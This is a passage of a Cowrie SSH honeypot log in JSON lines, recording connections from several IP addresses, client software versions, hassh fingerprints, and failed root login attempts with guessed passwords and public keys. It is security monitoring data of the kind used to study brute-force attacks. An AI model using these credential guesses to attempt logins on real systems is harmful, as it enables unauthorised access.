-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:38.076209Z","src_ip":"60.165.124.241","session":"75150e761d82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@Ww123456","message":"login attempt [root/@Ww123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:59:38.812774Z","src_ip":"60.165.124.241","session":"75150e761d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33103,"dst_ip":"10.17.0.5","dst_port":22,"session":"03af421a81c9","protocol":"ssh","message":"New connection: 168.167.228.74:33103 (10.17.0.5:22) [session: 03af421a81c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:00:41.009615Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:00:41.015122Z","src_ip":"168.167.228.74","session":"03af421a81c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:00:41.266658Z","src_ip":"168.167.228.74","session":"03af421a81c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123!@#Abc","message":"login attempt [root/123!@#Abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:00:42.304993Z","src_ip":"168.167.228.74","session":"03af421a81c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:00:43.560492Z","src_ip":"168.167.228.74","session":"03af421a81c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":60738,"dst_ip":"10.17.0.5","dst_port":22,"session":"166aaf6a3d47","protocol":"ssh","message":"New connection: 80.94.92.171:60738 (10.17.0.5:22) [session: 166aaf6a3d47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:16.428808Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:16.605795Z","src_ip":"80.94.92.171","session":"166aaf6a3d47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:16.609879Z","src_ip":"80.94.92.171","session":"166aaf6a3d47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:18.264603Z","src_ip":"80.94.92.171","session":"166aaf6a3d47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:19.576288Z","src_ip":"80.94.92.171","session":"166aaf6a3d47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.6.60.236","src_port":49080,"dst_ip":"10.17.0.5","dst_port":22,"session":"fadced305076","protocol":"ssh","message":"New connection: 154.6.60.236:49080 (10.17.0.5:22) [session: fadced305076]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.068905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.073570Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.157047Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"62:0b:47:81:0a:fe:06:28:7e:be:6c:8c:8f:6a:12:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYmAv6W+onJyOZ+0fFlpLuv/IxnjUoqkbxpWQFg0ERK6MFrEdELvwzlzpwBKdzv2gFFGxFrzMZ1+zTst8/UpWgh01YJnX59YlzKxyy7ZtnlvstPFrLPrhxVwabues5Eu8kEbfiHOdFJeCujDjxSO5BIilS2QAryrtxeWY3azUe5/1tky0YO4n+e6jcLLcOcfemWEXIMsbHGYHpcvYTLScaWmZ25jFobN+taXpWquF8zi43kbS6i4nPeA8iLkAwAKR+3HyQoY41dPZauIwD/Vjfi3wpCI4bHCF+z3oa2uByKvM4LWu1G/RIANiQrF0zOuuzMkIeM4AqhK0bDJ+tpLJT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 62:0b:47:81:0a:fe:06:28:7e:be:6c:8c:8f:6a:12:57","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.546219Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"62:0b:47:81:0a:fe:06:28:7e:be:6c:8c:8f:6a:12:57","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYmAv6W+onJyOZ+0fFlpLuv/IxnjUoqkbxpWQFg0ERK6MFrEdELvwzlzpwBKdzv2gFFGxFrzMZ1+zTst8/UpWgh01YJnX59YlzKxyy7ZtnlvstPFrLPrhxVwabues5Eu8kEbfiHOdFJeCujDjxSO5BIilS2QAryrtxeWY3azUe5/1tky0YO4n+e6jcLLcOcfemWEXIMsbHGYHpcvYTLScaWmZ25jFobN+taXpWquF8zi43kbS6i4nPeA8iLkAwAKR+3HyQoY41dPZauIwD/Vjfi3wpCI4bHCF+z3oa2uByKvM4LWu1G/RIANiQrF0zOuuzMkIeM4AqhK0bDJ+tpLJT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.549651Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b6:12:f3:e5:b7:f7:cb:42:fc:d7:f5:b4:77:5e:2e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu+vtheemv5lvVct03BN72JtYuJxAfm2S91p3OyLRb8YqH3XNFTs0Bz4KipZxfWi7El2jNLfI2kqJ/ifOOC5yeTfze5DXdf43hhQsvYjbJ+qTQM+0zRCJOBHLHzA28I5PvFK1eFpdb13Vu1zr58x/ZJc1Xtfo1DqiyE2De6CE5rMOjB/BdCRs4n98xew49z9ja+bCeuvOjRNeredcTLuHtppZ3BzTzpZo9/xMMDtid0GjX6mC2a0QoBLoMq43PH5VFCzo3A0nXC6HX/XUs1WD9Pl1X+GA2J43CHhWdZiFAsR+bjlqNMhPvrPiRj9INvVzMv1d02OR8FkWvyZAEQs5EUBxxl8ATdPl5ZNoZpsIcoeUvxa0RZiENURx27yEBVJ0AZ8hJpo+IcmQwbTaorgVKAgvWA731ZNj3LQiXnUGNidgp+PAfVf8FERJ9n7zAYOyed16pK7Qxw0Q/guoXGUFgcNhdnsCZrtuL0PFeYntFu6rrjsF8Stp9b7B8UnhiP6EYWQBIEJYhW+kX5QlCBaQk4k4wXABKUrxTS7BPzqRQ0AcCRRfuTVCj/ZAPLihPH9fbQHH0h+HiRQFm0/rIodq6/DAY1XRqXawgrrQnBHfNN+iDQ4Q2PltoJd0iVICDOeJkBReSV8Iz/o/8YWR4gUD75FCPc7etNPSOHHLyoH51QQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b6:12:f3:e5:b7:f7:cb:42:fc:d7:f5:b4:77:5e:2e:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.632098Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b6:12:f3:e5:b7:f7:cb:42:fc:d7:f5:b4:77:5e:2e:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCu+vtheemv5lvVct03BN72JtYuJxAfm2S91p3OyLRb8YqH3XNFTs0Bz4KipZxfWi7El2jNLfI2kqJ/ifOOC5yeTfze5DXdf43hhQsvYjbJ+qTQM+0zRCJOBHLHzA28I5PvFK1eFpdb13Vu1zr58x/ZJc1Xtfo1DqiyE2De6CE5rMOjB/BdCRs4n98xew49z9ja+bCeuvOjRNeredcTLuHtppZ3BzTzpZo9/xMMDtid0GjX6mC2a0QoBLoMq43PH5VFCzo3A0nXC6HX/XUs1WD9Pl1X+GA2J43CHhWdZiFAsR+bjlqNMhPvrPiRj9INvVzMv1d02OR8FkWvyZAEQs5EUBxxl8ATdPl5ZNoZpsIcoeUvxa0RZiENURx27yEBVJ0AZ8hJpo+IcmQwbTaorgVKAgvWA731ZNj3LQiXnUGNidgp+PAfVf8FERJ9n7zAYOyed16pK7Qxw0Q/guoXGUFgcNhdnsCZrtuL0PFeYntFu6rrjsF8Stp9b7B8UnhiP6EYWQBIEJYhW+kX5QlCBaQk4k4wXABKUrxTS7BPzqRQ0AcCRRfuTVCj/ZAPLihPH9fbQHH0h+HiRQFm0/rIodq6/DAY1XRqXawgrrQnBHfNN+iDQ4Q2PltoJd0iVICDOeJkBReSV8Iz/o/8YWR4gUD75FCPc7etNPSOHHLyoH51QQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.635828Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"96:5b:20:62:55:9b:71:15:14:10:d0:12:54:a9:04:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9LmgZUbAaqJ9U4Sf/pVgp3udif912grO1feZeCAzYLj1+wGQ10jCsV+q0kvIyiNs9s84vL2FITBFHeQ6orgxbvevViHMdr9RGp9wXdKQiz0nzKFHKeP6WLJF5nduvlISuDVBr6adX6r/hobe+CKmzdY2PQ8ABmvGy3Yik3VlfVeO1LIWYUQXg77SffzpoobopCo5biX5oo93vBHEH/slBSmhxOxN1ZmXzBtCEgq44KPoM9RDXWYazP7fVYof3LA3uxzK80M+D+9f8+DVEO7jSFErkhUCbm6rtL0DaJHB4qMu7YNBaU4cruRfvGMGYi4b4TW4wH1kfj5MVjH6tXsW9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 96:5b:20:62:55:9b:71:15:14:10:d0:12:54:a9:04:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.718777Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"96:5b:20:62:55:9b:71:15:14:10:d0:12:54:a9:04:9e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9LmgZUbAaqJ9U4Sf/pVgp3udif912grO1feZeCAzYLj1+wGQ10jCsV+q0kvIyiNs9s84vL2FITBFHeQ6orgxbvevViHMdr9RGp9wXdKQiz0nzKFHKeP6WLJF5nduvlISuDVBr6adX6r/hobe+CKmzdY2PQ8ABmvGy3Yik3VlfVeO1LIWYUQXg77SffzpoobopCo5biX5oo93vBHEH/slBSmhxOxN1ZmXzBtCEgq44KPoM9RDXWYazP7fVYof3LA3uxzK80M+D+9f8+DVEO7jSFErkhUCbm6rtL0DaJHB4qMu7YNBaU4cruRfvGMGYi4b4TW4wH1kfj5MVjH6tXsW9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.722116Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a0:5f:00:5d:dc:df:17:7e:5c:5f:ac:5f:49:2c:63:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGRM6HhfBN4Pz0aJ9cqFbT3c7vLD+F8mkKxPwMGIyJTtPuE5Ii1+HMutvAIQp/Mu6u5VLph3fUvlNGMIypgT0hEbHvmFcYeY4xpjCJ/EgTj+oMBcw4vaVrqX7yYNbuz1tK5SzQk3VqvrTdA2FnbDx5ZcL5EorBeH6nUV5wf/reLUTI33uXbQ/3XevrjBr6Iat5hebap5sebX5Yo2KxcYqmLGOCo2BhmIIuA4FYw2k2FU76XrneS6ug/nsqPSSeaugmjLge/2x9Y0Cc/gJkUJ8LP0y8K/9uOcy3PMEBP3kt1W8cjag2Asy+TYWjKWKEAf/Op0mly+z3akEA8m+o0FI9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a0:5f:00:5d:dc:df:17:7e:5c:5f:ac:5f:49:2c:63:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.804694Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a0:5f:00:5d:dc:df:17:7e:5c:5f:ac:5f:49:2c:63:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGRM6HhfBN4Pz0aJ9cqFbT3c7vLD+F8mkKxPwMGIyJTtPuE5Ii1+HMutvAIQp/Mu6u5VLph3fUvlNGMIypgT0hEbHvmFcYeY4xpjCJ/EgTj+oMBcw4vaVrqX7yYNbuz1tK5SzQk3VqvrTdA2FnbDx5ZcL5EorBeH6nUV5wf/reLUTI33uXbQ/3XevrjBr6Iat5hebap5sebX5Yo2KxcYqmLGOCo2BhmIIuA4FYw2k2FU76XrneS6ug/nsqPSSeaugmjLge/2x9Y0Cc/gJkUJ8LP0y8K/9uOcy3PMEBP3kt1W8cjag2Asy+TYWjKWKEAf/Op0mly+z3akEA8m+o0FI9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.808625Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f4:fa:84:ef:65:db:40:1d:00:32:b3:f6:05:84:11:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAulgyHk7xbpkhdKbUxkattFIEfvim6gSjXNMLlCiglHR1wMvDosTAxHu7q2lYlCuRTBV0cnTLSIGe94XheCfDKiX+zoTcEnSE9fwE8H5l9NzLigJCJE0Zw5BbQ7oB0cq3qOSnjCPCfgxBvgaqseDLvrb2W23/pAlzcP0xp1z+22PVs07XT8VsoXK40/OKHgvlzbXcG0SkUJprYigJShdTr2nlhNorvN7v9aQPICCKczN8Vzo/7Wlv2JA4ydsC0UTCWJT1QygErID33T3HkErydeFhZu3uLX4kBfN6Y+WawmTYYBflGklsd5kfc5zbS8KJi8mhelE5FwWmcGaT0k1pfQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f4:fa:84:ef:65:db:40:1d:00:32:b3:f6:05:84:11:64","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.894272Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f4:fa:84:ef:65:db:40:1d:00:32:b3:f6:05:84:11:64","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAulgyHk7xbpkhdKbUxkattFIEfvim6gSjXNMLlCiglHR1wMvDosTAxHu7q2lYlCuRTBV0cnTLSIGe94XheCfDKiX+zoTcEnSE9fwE8H5l9NzLigJCJE0Zw5BbQ7oB0cq3qOSnjCPCfgxBvgaqseDLvrb2W23/pAlzcP0xp1z+22PVs07XT8VsoXK40/OKHgvlzbXcG0SkUJprYigJShdTr2nlhNorvN7v9aQPICCKczN8Vzo/7Wlv2JA4ydsC0UTCWJT1QygErID33T3HkErydeFhZu3uLX4kBfN6Y+WawmTYYBflGklsd5kfc5zbS8KJi8mhelE5FwWmcGaT0k1pfQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.898266Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:29.981459Z","src_ip":"154.6.60.236","session":"fadced305076","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:37.839389Z","src_ip":"60.165.124.241","session":"75150e761d82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":33104,"dst_ip":"10.17.0.5","dst_port":22,"session":"e9b5bae01443","protocol":"ssh","message":"New connection: 168.167.228.74:33104 (10.17.0.5:22) [session: e9b5bae01443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:48.088361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:48.092639Z","src_ip":"168.167.228.74","session":"e9b5bae01443","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:48.347567Z","src_ip":"168.167.228.74","session":"e9b5bae01443","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"77","message":"login attempt [root/77] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:49.399154Z","src_ip":"168.167.228.74","session":"e9b5bae01443","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:01:50.657449Z","src_ip":"168.167.228.74","session":"e9b5bae01443","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.189","src_port":32338,"dst_ip":"159.203.135.109","dst_port":22,"session":"95d7351d5618","protocol":"ssh","message":"New connection: 2.57.122.189:32338 (159.203.135.109:22) [session: 95d7351d5618]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:20.084229Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T01:02:20.088797Z","src_ip":"2.57.122.189","session":"95d7351d5618","protocol":"ssh"}
